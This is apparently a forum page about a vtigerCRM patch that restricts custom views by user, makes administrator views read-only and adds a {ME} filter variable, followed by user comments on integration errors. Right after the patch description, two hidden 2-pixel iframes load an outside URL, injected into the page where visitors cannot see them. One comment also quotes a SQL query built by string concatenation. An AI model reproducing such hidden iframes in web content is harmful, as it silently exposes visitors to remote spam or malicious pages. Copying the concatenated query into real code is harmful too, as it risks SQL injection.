The attached files address:
Individual users now:
1) Can only see administrator views and views created by themselves
2) Administrator views are read-only
3) If user Edits an Administrator view, he is forced to save as a new named view.
Includes other CV patch as well:
1) Adds capability to test if a field is blank or not
2) Adds a special variable {ME} as a test value -- a custom view can be set to only show My Items and be valid for everyone
3) Allows a custom field to be saved as a new Custom Field. Got a CV you like? Rename and save as a new field without having to re-enter all the info.
Provided in 2 forms:
Complete file to merge back into htdocs/vtigerCRM
.diff file for patching against existing system. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
thanks for your code contribution and enhancing the customview. you code is taken up and will be available from patch-ii release, your alteration in customview table will be captured in the data dictionary itself. special variable {me} is really good. please send your views in enhancing the customview.
thanks & regards,
raj
the order by is key. i don't know how other folks are doing it, but we are using cv's substantially to view our data. getting so many made it hard to find a specific entry. now our drop-down list looks like:
we tried to integrate the patch which you've given here into the product for vtigercrm 4.2 patch1.
but after unzipping the file which you've given, we are not able to create the 'customview'.
as we are interested in integrating this into the product, could you please make the necessary changes for vtigercrm 4.2 patch1 and get back to us?
thanks & regards,
jaguar
you downloaded off repository, right?
also, my repository code is missing a patch i submitted to richie. essentially, each module should control it's own sort order. i proposed changing index.php in each module handle sorting like:
i think that's the issue, but i need to know more. pm, im, or email me more details of how it's failing, please.
thanks for customview enhancement!
but i have this problem:
after replacing customview with files provided in zip file, when i try to edit any view i get the following error:
d:\vtigercrm\apache\htdocs\vtigercrm\include\database\peardatabase.php on line 426
runnng 4.2 patch2 on win2003/apache
any idea?
thanks in advance!
the problems apears only after i have changed the statement:
$ssql = "select customview.* from customview inner join tab on tab.name = customview.entitytype
where (customview.smownerid=1 or customview.smownerid=".$current_user->id.")
and tab.tabid=$tabid order by customview.viewname";
after reverting to original it works fine again. sorting views is not suported!
why?
for all users, admin or not the only available option is save as new (editing by admin user is not alowed for any view!!!)
what's the state of affairs with this contribution?
i would like to integrate it into my vtiger.
best regards...
steffen